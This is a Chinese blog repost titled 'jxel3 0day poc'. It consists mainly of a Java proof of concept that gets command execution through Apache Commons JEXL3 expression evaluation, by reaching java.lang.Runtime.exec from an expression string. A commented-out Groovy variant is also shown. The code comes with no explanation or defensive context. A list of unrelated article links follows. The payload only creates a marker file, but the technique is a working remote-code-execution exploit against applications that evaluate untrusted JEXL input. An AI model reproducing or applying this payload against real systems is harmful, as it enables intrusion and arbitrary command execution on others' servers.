博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
jxel3 0day poc
阅读量:2434 次
发布时间:2019-05-10

本文共 1194 字,大约阅读时间需要 3 分钟。

import java.io.IOException;
import java.util.List;
import org.apache.commons.jexl3.JexlBuilder;
import org.apache.commons.jexl3.JexlContext;
import org.apache.commons.jexl3.JexlEngine;
import org.apache.commons.jexl3.JexlExpression;
import org.apache.commons.jexl3.MapContext;
import org.codehaus.groovy.runtime.ProcessGroovyMethods;
public class elExp {
public static void main(String args[]) throws IOException {
// Create or retrieve an engine
   JexlEngine jexl = new JexlBuilder().create();
   // Create an expression
   //String jexlExp = "new(\"java.lang.String\", \"hello wolrd\")";
   
   //String jexlExp = "new(\"org.codehaus.groovy.runtime.ProcessGroovyMethods\").execute(\"touch /tmp/jexlExp0day\")";
   String jexlExp = "1.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"touch /tmp/test0day\")";
   JexlExpression e = jexl.createExpression( jexlExp );
   try {
   
Process process = new ProcessBuilder("id").start();
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
   // Create a context and add data
   JexlContext jc = new MapContext();
   jc.set("foo", jexlExp );
   
   // Now evaluate the expression, getting the result
   Object o = e.evaluate(jc);
   System.out.println(o);
   }
}

转载地址:http://pjhmb.baihongyu.com/

你可能感兴趣的文章
Maven编译时指定JDK版本
查看>>
Hibernate单向关联N-1
查看>>
Hibernate单向关联1-1
查看>>
jQuery自定义动画
查看>>
Spring-data-redis在shiro中的实例
查看>>
GUN C中__attribute__作用
查看>>
3、系统调用之SYSCALL_DEFINE分析
查看>>
linux的signal_pending及signal
查看>>
OBJDUMP用法
查看>>
c/cplusplus通用makefile
查看>>
JavaScript-密码强度
查看>>
【SSH】1366-InCorrect string value:'\xE9\x99\x88\xE6\x96\xB0...'for column 'name' at row 1
查看>>
SpringCloud前身之微服务
查看>>
纵览全局——SSH
查看>>
纵览全局——Mybatis
查看>>
PC端-中文转拼音后续问题
查看>>
第七章-面向对象技术
查看>>
Mybatis-略识之无
查看>>
ionic 前端 - 汉字转拼音
查看>>
Ionic-与时间有关的故事-localecompare()
查看>>